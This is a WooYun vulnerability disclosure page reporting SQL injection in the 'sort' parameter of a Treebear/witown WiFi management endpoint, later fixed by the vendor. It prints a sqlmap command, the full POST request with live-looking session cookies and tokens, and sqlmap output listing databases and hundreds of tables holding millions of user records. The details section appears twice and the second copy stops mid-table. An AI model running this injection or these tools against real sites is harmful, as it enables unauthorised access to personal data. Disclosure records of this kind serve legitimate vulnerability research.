当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0208683

漏洞标题：wifi安全之树熊网络某处SQL注入涉及(千万用户信息+大量路由设备)

相关厂商：witown.cn

漏洞作者： 黑色键盘丶

提交时间：2016-05-14 20:19

修复时间：2016-06-27 16:23

公开时间：2016-06-27 16:23

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-14： 细节已通知厂商并且等待厂商处理中
2016-05-16： 厂商已经确认，细节仅向厂商公开
2016-05-26： 细节向核心白帽子及相关领域专家公开
2016-06-05： 细节向普通白帽子公开
2016-06-15： 细节向实习白帽子公开
2016-06-27： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

RT

详细说明：

sqlmap.py -r 1.txt --dbs
-----------------------post数据包---------参数sort-----
POST /ag/guide/phone_user_list.htm HTTP/1.1
Host: www.treebear.cn
Proxy-Connection: keep-alive
Content-Length: 168
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.treebear.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://www.treebear.cn/ag/guide/phone_user_list.htm
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=1B6D54F773F09E5C87DD57D575C04D2D; XSESSIONID=51541920-edb3-4cf7-942c-df3ea1cf699bn16tbsjr; Hm_lvt_d97e318c978bb748a2224319917a13e1=1463158802,1463217509; Hm_lpvt_d97e318c978bb748a2224319917a13e1=1463222327; add_router_flag_69345=guide; JSESSIONID=15qpre0882p7l1pgxx2an9x2t8; Hm_lvt_076c0745160ababa7772116354a4e95e=1463159094,1463220369; Hm_lpvt_076c0745160ababa7772116354a4e95e=1463222784; _witown_sign_=7055f8fe0687444d9eda099b43df760a
phone=&status=&merchantId=8a2086ea54a513040154aebbca4c0052&pageNo=1&formtype=simpleForm&export=y&sort=staySeconds&order=desc&xToken=474f9ead-4bbf-48bd-8578-1b70bda454dd


数据库信息
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] witown


当前库表信息
Database: witown
+------------------------------------------+---------+
| Table                                    | Entries |
+------------------------------------------+---------+
| wi_user_request_cur                      | 5001463 |
| wi_user_051                              | 2706636 |
| wi_user_058                              | 2106102 |
| wi_user_035                              | 2074136 |
| wi_user_010                              | 2053558 |
| wi_user_028                              | 2047527 |
| wi_user_027                              | 2035169 |
| wi_user_018                              | 2028645 |
| wi_user_044                              | 2028448 |
| wi_user_036                              | 2027286 |
| wi_user_045                              | 2009882 |
| wi_user_062                              | 2004039 |
| wi_user_011                              | 1995334 |
| wi_user_053                              | 1993124 |
| wi_user_009                              | 1987458 |
| wi_user_042                              | 1986067 |
| wi_user_043                              | 1984337 |
| wi_user_015                              | 1983325 |
| wi_user_038                              | 1977831 |
| wi_user_024                              | 1972136 |
| wi_user_056                              | 1965349 |
| wi_user_034                              | 1951629 |
| wi_user_032                              | 1950349 |
| wi_user_050                              | 1949006 |
| wi_user_049                              | 1946235 |
| wi_user_021                              | 1942276 |
| wi_user_037                              | 1932601 |
| wi_user_055                              | 1921690 |
| wi_user_061                              | 1921474 |
| wi_user_041                              | 1918714 |
| wi_user_059                              | 1908496 |
| wi_user_048                              | 1903121 |
| wi_user_057                              | 1901193 |
| wi_user_030                              | 1900352 |
| wi_user_039                              | 1881532 |
| wi_user_060                              | 1876047 |
| wi_user_054                              | 1874141 |
| wi_user_022                              | 1873633 |
| wi_user_033                              | 1871185 |
| wi_user_003                              | 1868718 |
| wi_user_025                              | 1863183 |
| wi_user_023                              | 1859409 |
| wi_user_026                              | 1850720 |
| wi_user_052                              | 1850674 |
| wi_user_031                              | 1848111 |
| wi_message                               | 1810121 |
| wi_user_014                              | 1808067 |
| wi_user_007                              | 1804206 |
| wi_user_040                              | 1797527 |
| wi_user_012                              | 1789576 |
| wi_user_020                              | 1745815 |
| wi_user_063                              | 1733506 |
| wi_pug_004                               | 1470440 |
| wi_cross_marketing_consume               | 1447448 |
| wi_open_api_log                          | 1446869 |
| wi_pug_020                               | 1363900 |
| wi_cross_marketing_click                 | 1356646 |
| wi_page_component_attr                   | 1314796 |
| wi_page_component                        | 1314732 |
| wi_pug_101                               | 1311996 |
| wi_pug_023                               | 1260513 |
| wi_pug_075                               | 1249984 |
| wi_sms_phones                            | 1050080 |
| wi_wx_old_user                           | 1044467 |
| rpt_pug_by_merchant_month                | 1011017 |
| rpt_user_by_merchant_month               | 972050  |
| rpt_pug_hour_by_merchant_month           | 914750  |
| wi_oauth_token                           | 895944  |
| wi_trojan_html_push_history              | 890078  |
| wi_user_013_tmp                          | 647413  |
| wi_user_058_tmp                          | 646632  |
| wi_user_017_tmp                          | 638025  |
| wi_user_035_tmp                          | 634212  |
| wi_user_010_tmp                          | 630422  |
| wi_user_028_tmp                          | 627772  |
| wi_user_006_tmp                          | 623908  |
| wi_user_018_tmp                          | 622569  |
| wi_user_027_tmp                          | 621799  |
| wi_user_005_tmp                          | 621313  |
| wi_user_036_tmp                          | 620533  |
| wi_user_044_tmp                          | 620436  |
| wi_user_047_tmp                          | 620030  |
| wi_user_062_tmp                          | 616388  |
| wi_user_004_tmp                          | 615384  |
| wi_user_011_tmp                          | 613078  |
| wi_user_045_tmp                          | 611088  |
| wi_user_029_tmp                          | 610886  |
| wi_user_053_tmp                          | 610051  |
| wi_user_043_tmp                          | 609420  |
| wi_user_038_tmp                          | 608578  |
| wi_user_009_tmp                          | 607257  |
| wi_user_019_tmp                          | 606975  |
| wi_user_015_tmp                          | 606958  |
| wi_user_042_tmp                          | 604710  |
| wi_user_056_tmp                          | 603268  |
| wi_user_024_tmp                          | 602749  |
| wi_user_046_tmp                          | 601791  |
| wi_user_008_tmp                          | 600365  |
| wi_user_034_tmp                          | 597724  |
| wi_user_032_tmp                          | 597143  |
| wi_user_049_tmp                          | 596787  |
| wi_user_050_tmp                          | 596705  |
| wi_user_021_tmp                          | 596613  |
| wi_user_055_tmp                          | 590147  |
| wi_user_037_tmp                          | 588951  |
| wi_user_061_tmp                          | 588367  |
| wi_user_000_tmp                          | 587278  |
| wi_user_041_tmp                          | 585452  |
| wi_user_048_tmp                          | 584362  |
| wi_user_059_tmp                          | 583727  |
| wi_user_057_tmp                          | 581206  |
| wi_user_030_tmp                          | 581047  |
| wi_user_051_tmp                          | 580574  |
| wi_user_039_tmp                          | 575778  |
| wi_user_033_tmp                          | 575638  |
| wi_user_060_tmp                          | 574289  |
| wi_user_022_tmp                          | 573988  |
| wi_user_054_tmp                          | 573515  |
| wi_user_003_tmp                          | 572472  |
| wi_user_023_tmp                          | 570426  |
| wi_user_025_tmp                          | 569832  |
| wi_user_026_tmp                          | 567471  |
| wi_user_052_tmp                          | 567424  |
| wi_user_001_tmp                          | 566700  |
| wi_user_031_tmp                          | 564416  |
| wi_user_016_tmp                          | 561034  |
| wi_user_007_tmp                          | 553919  |
| wi_user_014_tmp                          | 552945  |
| wi_user_040_tmp                          | 552191  |
| wi_user_012_tmp                          | 549811  |
| wi_user_002_tmp                          | 545051  |
| wi_user_020_tmp                          | 536640  |
| wi_user_063_tmp                          | 532099  |
| wi_page                                  | 526625  |
| rpt_summary_by_agent_month               | 482615  |
| wi_device_action_log                     | 250810  |
| wi_router_task                           | 184936  |
| wi_open_app_sub_new                      | 157509  |
| wi_apply_agent                           | 153561  |
| wi_whitelist                             | 151970  |
| wi_router                                | 143116  |
| wi_site                                  | 130355  |
| wi_cross_marketing_delivery_detail       | 128202  |
| wi_router_regular                        | 124995  |
| wi_message_push_detail                   | 122513  |
| wi_agent_fun                             | 121380  |
| wi_menu_bizfun                           | 120876  |
| wi_router_conf                           | 118546  |
| wi_merchant_oauth                        | 118517  |
| wi_merchant_fun                          | 118221  |
| wi_merchant                              | 117390  |
| wi_merchant_conf                         | 117370  |
| wi_shop_photo                            | 113700  |
| wi_cross_marketing                       | 108970  |
| wi_ad_condition                          | 108605  |
| wi_sms_account                           | 92312   |
| wi_probe_rpt_stay_interval_day           | 91966   |
| wi_probe_rpt_traffic_day                 | 91966   |
| wi_probe_rpt_traffic_day_detail          | 91966   |
| wi_probe_rpt_visit_times_day             | 91966   |
| wi_voucher_consume                       | 87382   |
| wi_app_router_mac                        | 79834   |
| wi_probe_rpt_mode_traffic_day            | 75561   |
| wi_probe_rpt_merchant_stay_interval_day  | 75364   |
| wi_probe_rpt_merchant_traffic_day        | 75364   |
| wi_probe_rpt_merchant_traffic_day_detail | 75364   |
| wi_probe_rpt_merchant_visit_times_day    | 75364   |
| wi_open_app_sub                          | 70370   |
| wi_open_app_sub_extend                   | 70370   |
| wi_agent_sms_recharge_record             | 68707   |
| wi_ad_action_log                         | 67324   |
| wi_merchant_sms_balance                  | 63054   |
| wi_agent_employee                        | 62315   |
| wi_probe_rpt_mode_stay_interval_day      | 62006   |
| wi_probe_rpt_mode_traffic_day_detail     | 62006   |
| wi_probe_rpt_mode_visit_times_day        | 62006   |
| wi_account                               | 61912   |
| wi_wx_login_code                         | 61910   |
| wi_merchant_oauth_switch_log             | 59982   |
| wi_probe_rpt_merchant_path_day           | 51753   |
| wi_router_option_fun                     | 45715   |
| wi_cross_marketing_target                | 43983   |
| rpt_portal_mac_top_week                  | 43135   |
| wi_user_test_003                         | 41462   |
| wi_report_month_overall                  | 41068   |
| wi_user_test_001                         | 40585   |
| wi_user_test_002                         | 40547   |
| wi_user_test_000                         | 38783   |
| wi_agent                                 | 37670   |
| wi_trace_log                             | 31765   |
| wi_device_upgrade_log                    | 30067   |
| wi_product_wireless                      | 28475   |
| wi_menu_fun                              | 25303   |
| wi_message_push_target                   | 25249   |
| wi_router_profile_band_ssid              | 24580   |
| wi_sms_push_history                      | 24292   |
| wi_wx_transmit                           | 21518   |
| wi_marketing_template                    | 20251   |
| wi_router_check_speed                    | 19573   |
| wi_vem_order                             | 17907   |
| wi_router_profile_band                   | 16214   |
| wi_shop_activity                         | 15977   |
| wi_work_order_item                       | 15902   |
| wi_open_app_new                          | 15752   |
| wi_wx_official_account                   | 15196   |
| wi_cross_weixin                          | 15053   |
| wi_router_profile                        | 14958   |
| wi_router_profile_cfg                    | 14594   |
| wi_router_restart                        | 12701   |
| wi_social                                | 12615   |
| wi_phone_user                            | 11156   |
| wi_router_relationship_traffic           | 9172    |
| wi_merchant_url                          | 9110    |
| wi_open_app                              | 8914    |
| wi_alipay_shop                           | 8854    |
| wi_open_app_extend                       | 8850    |
| wi_magic_numbers                         | 8768    |
| rpt_summary_by_channel_day               | 7331    |
| wi_user_yujian                           | 6147    |
| wi_message_push_stat                     | 5908    |
| wi_router_net_config                     | 5729    |
| wi_router_cache_detail                   | 5127    |
| wi_merchant_community_across_mac         | 5093    |
| wi_tryout_comment                        | 4461    |
| wi_base_data                             | 4214    |
| wi_sd_file                               | 4140    |
| wi_work_order                            | 4077    |
| wi_access_token                          | 3329    |
| act_hi_actinst                           | 3270    |
| wi_sms_push                              | 3207    |
| wi_merchant_chain                        | 3177    |
| wi_probe_conf                            | 3164    |
| wi_voucher                               | 2897    |
| rpt_merchant_by_area_week                | 2810    |
| rpt_agent_by_area_week                   | 2720    |
| wi_visitor_export_log                    | 2680    |
| wi_attachment                            | 2573    |
| act_hi_taskinst                          | 2503    |
| wi_message_push_rule                     | 2426    |
| wi_voucher_mac                           | 2311    |
| wi_admin_log                             | 2168    |
| wi_building_area_traffic                 | 2155    |
| wi_wx_login_tips                         | 2134    |
| wi_contract_detail                       | 1995    |
| wi_warehouse_detail                      | 1922    |
| act_hi_varinst                           | 1700    |
| wi_alipay_device                         | 1576    |
| wi_agent_sms_balance                     | 1539    |
| rpt_sys_account_detail_by_day            | 1527    |
| wi_product                               | 1489    |
| wi_vem_income_day                        | 1487    |
| wi_router_network_config                 | 1218    |
| wi_open_api_scope                        | 1189    |
| wi_merchant_conf_laji_20160426           | 1161    |
| wi_merchant_laji_0426                    | 1161    |
| wi_recharge                              | 1151    |
| wi_nuomi_source                          | 1063    |
| wi_aim_merchant                          | 1016    |
| wi_merchant_community_across_mac_stat    | 972     |
| act_hi_identitylink                      | 892     |
| wi_system                                | 891     |
| wi_app_feedback                          | 858     |
| rpt_merchant_by_biztype_week             | 855     |
| wi_meeting_enroll                        | 773     |
| wi_merchant_member                       | 709     |
| wi_contract                              | 697     |
| wi_router_conf_0415_yujian               | 689     |
| wi_menu_chainfun                         | 614     |
| rpt_sys_route_by_day                     | 591     |
| wi_router_cache                          | 564     |
| act_ge_bytearray                         | 558     |
| wi_user_prepub_003                       | 517     |
| wi_sms_marketing                         | 511     |
| wi_stat_agent_by_area                    | 510     |
| rpt_sys_summary_by_day                   | 489     |
| wi_cross_marketing_exclude               | 458     |
| wi_stat_shop_by_area                     | 449     |
| act_hi_procinst                          | 446     |
| wi_device_repair_detail                  | 441     |
| rpt_users_summary_by_day                 | 440     |
| wi_device_repair                         | 436     |
| wi_router_version_simple                 | 431     |
| rpt_sys_portal_auth_by_day               | 381     |
| rpt_times_summary_by_day                 | 381     |
| wi_delivery_detail                       | 364     |
| wi_agent_ext                             | 359     |
| wi_merchant_clerk                        | 357     |
| wi_portal_uri                            | 355     |
| wi_subscribe_mail                        | 288     |
| wi_operator_fun                          | 284     |
| wi_areacode_mapping                      | 271     |
| wi_user_prepub_001                       | 266     |
| wi_contract_amount                       | 258     |
| rpt_summary_by_channel_month             | 257     |
| act_ru_variable                          | 251     |
| act_ru_identitylink                      | 250     |
| wi_user_prepub_002                       | 219     |
| wi_merchant_extend                       | 217     |
| wi_user_prepub_000                       | 215     |
| wi_open_dev                              | 214     |
| wi_sms_alipay_log                        | 203     |
| wi_vem_account                           | 199     |
| wi_vem_goods                             | 199     |
| wi_app_like                              | 188     |
| wi_message_push_black                    | 183     |
| wi_ibeacon                               | 175     |
| wi_open_method                           | 166     |
| wi_meta_info                             | 146     |
| wi_invite_code                           | 140     |
| wi_admin_account_menu                    | 137     |
| wi_menu                                  | 132     |
| wi_cms_content                           | 131     |
| wi_stat_shop_by_biztype                  | 130     |
| act_ru_execution                         | 125     |
| act_ru_task                              | 125     |
| wi_probe_open_post_router                | 116     |
| wi_website_case                          | 111     |
| wi_admin_menu                            | 107     |
| wi_basis_stat                            | 96      |
| wi_template_module_resources             | 96      |
| wi_coupons_data                          | 94      |
| wi_customer                              | 90      |
| wi_support_del                           | 90      |
| wi_website_news                          | 83      |
| rpt_sys_account_detail_by_month          | 63      |
| wi_router_version                        | 63      |
| wi_router_relationship                   | 62      |
| wi_sms_alipay                            | 59      |
| wi_fuwu_conf                             | 54      |
| wi_phone_user_test                       | 54      |
| wi_reward_use                            | 54      |
| wi_question_answer                       | 52      |
| wi_delivery_order                        | 40      |
| wi_ad_task                               | 39      |
| wi_router_location                       | 37      |
| wi_ad_task_condition                     | 35      |
| wi_reward_rule                           | 35      |
| wi_app_version                           | 34      |
| wi_phone_user_prepub                     | 31      |
| rpt_agent_new_by_month                   | 28      |
| wi_app_device_auth                       | 28      |
| wi_returned_order                        | 27      |
| wi_task_server                           | 27      |
| wi_tag_values                            | 25      |
| wi_meta_rules                            | 22      |
| wi_template_modules                      | 21      |
| wi_warehouse_order                       | 20      |
| account_0428                             | 19      |
| rpt_sys_route_by_month                   | 19      |
| wi_router_type                           | 18      |
| rpt_sys_summary_by_month                 | 16      |
| wi_building_area                         | 12      |
| wi_component                             | 12      |
| wi_tag_properties                        | 12      |
| wi_fuwu_old_user                         | 9       |
| wi_router_factory                        | 9       |
| wi_sms_channel                           | 9       |
| wi_sms_channel_config                    | 9       |
| wi_server                                | 6       |
| wi_tag_groups                            | 6       |
| wi_app                                   | 5       |
| wi_app_message_push_rule                 | 5       |
| wi_product_model                         | 5       |
| wi_probe_open_third_info                 | 4       |
| wi_template_pages                        | 4       |
| act_ge_property                          | 3       |
| wi_app_patch                             | 3       |
| wi_app_test_device                       | 3       |
| wi_supplier                              | 3       |
| wi_returned_detail                       | 2       |
| wi_tryout_likes                          | 2       |
| act_re_deployment                        | 1       |
| act_re_procdef                           | 1       |
| wi_router_condition                      | 1       |
| wi_system_error_email                    | 1       |
| wi_templates                             | 1       |
| wi_tryout_report                         | 1       |
+------------------------------------------+---------+


跑了几条看下


1.png


2.png


3.png


4.png

漏洞证明：

sqlmap.py -r 1.txt --dbs
-----------------------post数据包---------参数sort-----
POST /ag/guide/phone_user_list.htm HTTP/1.1
Host: www.treebear.cn
Proxy-Connection: keep-alive
Content-Length: 168
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.treebear.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://www.treebear.cn/ag/guide/phone_user_list.htm
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=1B6D54F773F09E5C87DD57D575C04D2D; XSESSIONID=51541920-edb3-4cf7-942c-df3ea1cf699bn16tbsjr; Hm_lvt_d97e318c978bb748a2224319917a13e1=1463158802,1463217509; Hm_lpvt_d97e318c978bb748a2224319917a13e1=1463222327; add_router_flag_69345=guide; JSESSIONID=15qpre0882p7l1pgxx2an9x2t8; Hm_lvt_076c0745160ababa7772116354a4e95e=1463159094,1463220369; Hm_lpvt_076c0745160ababa7772116354a4e95e=1463222784; _witown_sign_=7055f8fe0687444d9eda099b43df760a
phone=&status=&merchantId=8a2086ea54a513040154aebbca4c0052&pageNo=1&formtype=simpleForm&export=y&sort=staySeconds&order=desc&xToken=474f9ead-4bbf-48bd-8578-1b70bda454dd


数据库信息
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] witown


当前库表信息
Database: witown
+------------------------------------------+---------+
| Table                                    | Entries |
+------------------------------------------+---------+
| wi_user_request_cur                      | 5001463 |
| wi_user_051                              | 2706636 |
| wi_user_058                              | 2106102 |
| wi_user_035                              | 2074136 |
| wi_user_010                              | 2053558 |
| wi_user_028                              | 2047527 |
| wi_user_027                              | 2035169 |
| wi_user_018                              | 2028645 |
| wi_user_044                              | 2028448 |
| wi_user_036                              | 2027286 |
| wi_user_045                              | 2009882 |
| wi_user_062                              | 2004039 |
| wi_user_011                              | 1995334 |
| wi_user_053                              | 1993124 |
| wi_user_009                              | 1987458 |
| wi_user_042                              | 1986067 |
| wi_user_043                              | 1984337 |
| wi_user_015                              | 1983325 |
| wi_user_038                              | 1977831 |
| wi_user_024                              | 1972136 |
| wi_user_056                              | 1965349 |
| wi_user_034                              | 1951629 |
| wi_user_032                              | 1950349 |
| wi_user_050                              | 1949006 |
| wi_user_049                              | 1946235 |
| wi_user_021                              | 1942276 |
| wi_user_037                              | 1932601 |
| wi_user_055                              | 1921690 |
| wi_user_061                              | 1921474 |
| wi_user_041                              | 1918714 |
| wi_user_059                              | 1908496 |
| wi_user_048                              | 1903121 |
| wi_user_057                              | 1901193 |
| wi_user_030                              | 1900352 |
| wi_user_039                              | 1881532 |
| wi_user_060                              | 1876047 |
| wi_user_054                              | 1874141 |
| wi_user_022                              | 1873633 |
| wi_user_033                              | 1871185 |
| wi_user_003                              | 1868718 |
| wi_user_025                              | 1863183 |
| wi_user_023                              | 1859409 |
| wi_user_026                              | 1850720 |
| wi_user_052                              | 1850674 |
| wi_user_031                              | 1848111 |
| wi_message                               | 1810121 |
| wi_user_014                              | 1808067 |
| wi_user_007                              | 1804206 |
| wi_user_040                              | 1797527 |
| wi_user_012                              | 1789576 |
| wi_user_020                              | 1745815 |
| wi_user_063                              | 1733506 |
| wi_pug_004                               | 1470440 |
| wi_cross_marketing_consume               | 1447448 |
| wi_open_api_log                          | 1446869 |
| wi_pug_020                               | 1363900 |
| wi_cross_marketing_click                 | 1356646 |
| wi_page_component_attr                   | 1314796 |
| wi_page_component                        | 1314732 |
| wi_pug_101                               | 1311996 |
| wi_pug_023                               | 1260513 |
| wi_pug_075                               | 1249984 |
| wi_sms_phones                            | 1050080 |
| wi_wx_old_user                           | 1044467 |
| rpt_pug_by_merchant_month                | 1011017 |
| rpt_user_by_merchant_month               | 972050  |
| rpt_pug_hour_by_merchant_month           | 914750  |
| wi_oauth_token                           | 895944  |
| wi_trojan_html_push_history              | 890078  |
| wi_user_013_tmp                          | 647413  |
| wi_user_058_tmp                          | 646632  |
| wi_user_017_tmp                          | 638025  |
| wi_user_035_tmp                          | 634212  |
| wi_user_010_tmp                          | 630422  |
| wi_user_028_tmp                          | 627772  |
| wi_user_006_tmp                          | 623908  |
| wi_user_018_tmp                          | 622569  |
| wi_user_027_tmp                          | 621799  |
| wi_user_005_tmp                          | 621313  |
| wi_user_036_tmp                          | 620533  |
| wi_user_044_tmp                          | 620436  |
| wi_user_047_tmp                          | 620030  |
| wi_user_062_tmp                          | 616388  |
| wi_user_004_tmp                          | 615384  |
| wi_user_011_tmp                          | 613078  |
| wi_user_045_tmp                          | 611088  |
| wi_user_029_tmp                          | 610886  |
| wi_user_053_tmp                          | 610051  |
| wi_user_043_tmp                          | 609420  |
| wi_user_038_tmp                          | 608578  |
| wi_user_009_tmp                          | 607257  |
| wi_user_019_tmp                          | 606975  |
| wi_user_015_tmp                          | 606958  |
| wi_user_042_tmp                          | 604710  |
| wi_user_056_tmp                          | 603268  |
| wi_user_024_tmp                          | 602749  |
| wi_user_046_tmp                          | 601791  |
| wi_user_008_tmp                          | 600365  |
| wi_user_034_tmp                          | 597724  |
| wi_user_032_tmp                          | 597143  |
| wi_user_049_tmp                          | 596787  |
| wi_user_050_tmp                          | 596705  |
| wi_user_021_tmp                          | 596613  |
| wi_user_055_tmp                          | 590147  |
| wi_user_037_tmp                          | 588951  |
| wi_user_061_tmp                          | 588367  |
| wi_user_000_tmp                          | 587278  |
| wi_user_041_tmp                          | 585452  |
| wi_user_048_tmp                          | 584362  |
| wi_user_059_tmp                          | 583727  |
| wi_user_057_tmp                          | 581206  |
| wi_user_030_tmp                          | 581047  |
| wi_user_051_tmp                          | 580574  |
| wi_user_039_tmp                          | 575778  |
| wi_user_033_tmp                          | 575638  |
| wi_user_060_tmp                          | 574289  |
| wi_user_022_tmp                          | 573988  |
| wi_user_054_tmp                          | 573515  |
| wi_user_003_tmp                          | 572472  |
| wi_user_023_tmp                          | 570426  |
| wi_user_025_tmp                          | 569832  |
| wi_user_026_tmp                          | 567471  |
| wi_user_052_tmp                          | 567424  |
| wi_user_001_tmp                          | 566700  |
| wi_user_031_tmp                          | 564416  |
| wi_user_016_tmp                          | 561034  |
| wi_user_007_tmp                          | 553919  |
| wi_user_014_tmp                          | 552945  |
| wi_user_040_tmp                          | 552191  |
| wi_user_012_tmp                          | 549811  |
| wi_user_002_tmp                          | 545051  |
| wi_user_020_tmp                          | 536640  |
| wi_user_063_tmp                          | 532099  |
| wi_page                                  | 526625  |
| rpt_summary_by_agent_month               | 482615  |
| wi_device_action_log                     | 250810  |
| wi_router_task                           | 184936  |
| wi_open_app_sub_new                      | 157509  |
| wi_apply_agent                           | 153561  |
| wi_whitelist                             | 151970  |
| wi_router                                | 143116  |
| wi_site                                  | 130355  |
| wi_cross_marketing_delivery_detail       | 128202  |
| wi_router_regular                        | 124995  |
| wi_message_push_detail                   | 122513  |
| wi_agent_fun                             | 121380  |
| wi_menu_bizfun                           | 120876  |
| wi_router_conf                           | 118546  |
| wi_merchant_oauth                        | 118517  |
| wi_merchant_fun                          | 118221  |
| wi_merchant                              | 117390  |
| wi_merchant_conf                         | 117370  |
| wi_shop_photo                            | 113700  |
| wi_cross_marketing                       | 108970  |
| wi_ad_condition                          | 108605  |
| wi_sms_account                           | 92312   |
| wi_probe_rpt_stay_interval_day           | 91966   |
| wi_probe_rpt_traffic_day                 | 91966   |
| wi_probe_rpt_traffic_day_detail          | 91966   |
| wi_probe_rpt_visit_times_day             | 91966   |
| wi_voucher_consume                       | 87382   |
| wi_app_router_mac                        | 79834   |
| wi_probe_rpt_mode_traffic_day            | 75561   |
| wi_probe_rpt_merchant_stay_interval_day  | 75364   |
| wi_probe_rpt_merchant_traffic_day        | 75364   |
| wi_probe_rpt_merchant_traffic_day_detail | 75364   |
| wi_probe_rpt_merchant_visit_times_day    | 75364   |
| wi_open_app_sub                          | 70370   |
| wi_open_app_sub_extend                   | 70370   |
| wi_agent_sms_recharge_record             | 68707   |
| wi_ad_action_log                         | 67324   |
| wi_merchant_sms_balance                  | 63054   |
| wi_agent_employee                        | 62315   |
| wi_probe_rpt_mode_stay_interval_day      | 62006   |
| wi_probe_rpt_mode_traffic_day_detail     | 62006   |
| wi_probe_rpt_mode_visit_times_day        | 62006   |
| wi_account                               | 61912   |
| wi_wx_login_code                         | 61910   |
| wi_merchant_oauth_switch_log             | 59982   |
| wi_probe_rpt_merchant_path_day           | 51753   |
| wi_router_option_fun                     | 45715   |
| wi_cross_marketing_target                | 43983   |
| rpt_portal_mac_top_week                  | 43135   |
| wi_user_test_003                         | 41462   |
| wi_report_month_overall                  | 41068   |
| wi_user_test_001                         | 40585   |
| wi_user_test_002                         | 40547   |
| wi_user_test_000                         | 38783   |
| wi_agent                                 | 37670   |
| wi_trace_log                             | 31765   |
| wi_device_upgrade_log                    | 30067   |
| wi_product_wireless                      | 28475   |
| wi_menu_fun                              | 25303   |
| wi_message_push_target                   | 25249   |
| wi_router_profile_band_ssid              | 24580   |
| wi_sms_push_history                      | 24292   |
| wi_wx_transmit                           | 21518   |
| wi_marketing_template                    | 20251   |
| wi_router_check_speed                    | 19573   |
| wi_vem_order                             | 17907   |
| wi_router_profile_band                   | 16214   |
| wi_shop_activity                         | 15977   |
| wi_work_order_item                       | 15902   |
| wi_open_app_new                          | 15752   |
| wi_wx_official_account                   | 15196   |
| wi_cross_weixin                          | 15053   |
| wi_router_profile                        | 14958   |
| wi_router_profile_cfg                    | 14594   |
| wi_router_restart                        | 12701   |
| wi_social                                | 12615   |
| wi_phone_user                            | 11156   |
| wi_router_relationship_traffic           | 9172    |
| wi_merchant_url                          | 9110    |
| wi_open_app                              | 8914    |
| wi_alipay_shop                           | 8854    |
| wi_open_app_extend                       | 8850    |
| wi_magic_numbers                         | 8768    |
| rpt_summary_by_channel_day               | 7331    |
| wi_user_yujian                           | 6147    |
| wi_message_push_stat                     | 5908    |
| wi_router_net_config                     | 5729    |
| wi_router_cache_detail                   | 5127    |
| wi_merchant_community_across_mac         | 5093    |
| wi_tryout_comment                        | 4461    |
| wi_base_data                             | 4214    |
| wi_sd_file                               | 4140    |
| wi_work_order                            | 4077    |
| wi_access_token                          | 3329    |
| act_hi_actinst                           | 3270    |
| wi_sms_push                              | 3207    |
| wi_merchant_chain                        | 3177    |
| wi_probe_conf                            | 3164    |
| wi_voucher                               | 2897    |
| rpt_merchant_by_area_week                | 2810    |
| rpt_agent_by_area_week                   | 2720    |
| wi_visitor_export_log                    | 2680    |
| wi_attachment                            | 2573    |
| act_hi_taskinst                          | 2503    |
| wi_message_push_rule                     | 2426    |
| wi_voucher_mac                           | 2311    |
| wi_admin_log                             | 2168    |
| wi_building_area_traffic                 | 2155    |
| wi_wx_login_tips                         | 2134    |
| wi_contract_detail                       | 1995    |
| wi_warehouse_detail                      | 1922    |
| act_hi_varinst                           | 1700    |
| wi_alipay_device                         | 1576    |
| wi_agent_sms_balance                     | 1539    |
| rpt_sys_account_detail_by_day            | 1527    |
| wi_product                               | 1489    |
| wi_vem_income_day                        | 1487    |
| wi_router_network_config                 | 1218    |
| wi_open_api_scope                        | 1189    |
| wi_merchant_conf_laji_20160426           | 1161    |
| wi_merchant_laji_0426                    | 1161    |
| wi_recharge                              | 1151    |
| wi_nuomi_source                          | 1063    |
| wi_aim_merchant                          | 1016    |
| wi_merchant_community_across_mac_stat    | 972     |
| act_hi_identitylink                      | 892     |
| wi_system                                | 891     |
| wi_app_feedback                          | 858     |
| rpt_merchant_by_biztype_week             | 855     |
| wi_meeting_enroll                        | 773     |
| wi_merchant_member                       | 709     |
| wi_contract                              | 697     |
| wi_router_conf_0415_yujian               | 689     |
| wi_menu_chainfun                         | 614     |
| rpt_sys_route_by_day                     | 591     |
| wi_router_cache                          | 564     |
| act_ge_bytearray                         | 558     |
| wi_user_prepub_003                       | 517     |
| wi_sms_marketing                         | 511     |
| wi_stat_agent_by_area                    | 510     |
| rpt_sys_summary_by_day                   | 489     |
| wi_cross_marketing_exclude               | 458     |
| wi_stat_shop_by_area                     | 449     |
| act_hi_procinst                          | 446     |
| wi_device_repair_detail                  | 441     |
| rpt_users_summary_by_day                 | 440     |
| wi_device_repair                         | 436     |
| wi_router_version_simple                 | 431     |
| rpt_sys_portal_auth_by_day               | 381     |
| rpt_times_summary_by_day                 | 381     |
| wi_delivery_detail                       | 364     |
| wi_agent_ext                             | 359     |
| wi_merchant_clerk                        | 357     |
| wi_portal_uri                            | 355     |
| wi_subscribe_mail                        | 288     |
| wi_operator_fun                          | 284     |
| wi_areacode_mapping                      | 271     |
| wi_user_prepub_001                       | 266     |
| wi_contract_amount                       | 258     |
| rpt_summary_by_channel_month             | 257     |
| act_ru_variable                          | 251     |
| act_ru_identitylink                      | 250     |
| wi_user_prepub_002                       | 219     |
| wi_merchant_extend                       | 217     |
| wi_user_prepub_000                       | 215     |
| wi_open_dev                              | 214     |
